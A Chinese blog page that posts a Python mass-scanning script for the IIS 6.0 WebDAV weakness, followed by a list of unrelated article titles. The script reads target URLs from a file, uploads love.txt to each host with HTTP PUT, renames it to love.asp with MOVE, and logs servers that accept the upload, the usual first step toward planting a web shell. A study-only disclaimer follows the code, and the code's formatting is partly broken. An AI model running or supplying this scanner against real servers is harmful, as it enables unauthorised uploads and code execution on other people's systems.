import requests
import re
import sys header = {
"Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
"Accept-Encoding":"gzip, deflate, br",
"Accept-Language":"zh-CN,zh;q=0.9",
"Connection":"keep-alive",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
"X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
"X-Requested-With":"XMLHttpRequest",
}
header1 = {
"Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
"Accept-Encoding":"gzip, deflate, br",
"Accept-Language":"zh-CN,zh;q=0.9",
"Connection":"keep-alive",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
"X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
"X-Requested-With":"XMLHttpRequest",
"Destination":"/love.asp",
}
body='whoami'
def OKtxt(str):
with open("OKIIS.txt",'a') as b:
b.write(str)
def OKurl(url):
try:
r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
print(r.status_code)
if r.status_code == 200:
r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
print(link_list) print("===========have no IIS6.0 PUT ===========")
elif r.status_code == 201:
print("=========== GOOD ===========")
print("=========== git it ===========")
r=requests.move(url=url+'/love.txt',headers=header1,timeout=10)
OKtxt(url+"\n")
elif r.status_code == 204:
r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
print(link_list)
print("===========GOOD===========")
else:
r=requests.put(url=url+'/love.txt',headers=header,data=body,timeout=10)
link_list = re.findall(r'who(.*?)i', r.text, re.S|re.I)
print(link_list)
print("=========== byby ===========")
except:
print("===========badly===========")
f =open("url.txt",'r')
i=0
urllist=f.readlines()
for url in urllist:
if len(url)>2:
OKurl(url)
else:
print("======== OVer ========")

此脚本仅仅用于学习参考 切勿用于一切非法用途

一切后果与本人不管

且勿违反法律道德,后果自负

最新文章

  1. mui jquery 同时使用
  2. mysql事务和并发控制
  3. 未能加载文件或程序集“MySql.Web.v20, Version=6.9.4.0, Culture=neutral, PublicKeyToken=c5687fc88969c44d”或它的某一个依赖项。系统找不到指定的文件
  4. HTML5移动Web开发(七)——通过界面图标启动Web应用
  5. Maven构建Hadoop Maven构建Hadoop工程
  6. cocos2dx-lua 批量打包及修改
  7. 现代程序设计——homework-09
  8. bzoj3791 作业
  9. Laravel技巧之记录多日志
  10. mysql修改root用户密码
  11. Angular4图片上传预览路径不安全问题
  12. float 与 display:inline-block
  13. Programming In Scala笔记-第九章、控制抽象
  14. Ubuntu全盘备份与恢复,亲自总结,实测可靠
  15. java提高(1)---异常
  16. android中Bitmap的放大和缩小的方法
  17. Anroid 解决小米和魅族不能在mac上调试
  18. Linux:rm:du命令
  19. day10 python学习 函数的嵌套命名空间作用域 三元运算 位置参数 默认参数 动态参数
  20. Log4net 使用之 日期字段格式化

热门文章

  1. linux 用户切换组
  2. T4模板使用笔记
  3. What's new in C# 7.0
  4. Docker 安装mysql5.6
  5. optparser模块 与 ZIP爆破(Python)
  6. ajax对数据删除、查看详情功能
  7. Java 面向对象(三)static 关键字
  8. 工作流引擎Activiti
  9. main函数前后
  10. 【数据库】通过触发器实现审计日志记录-demo篇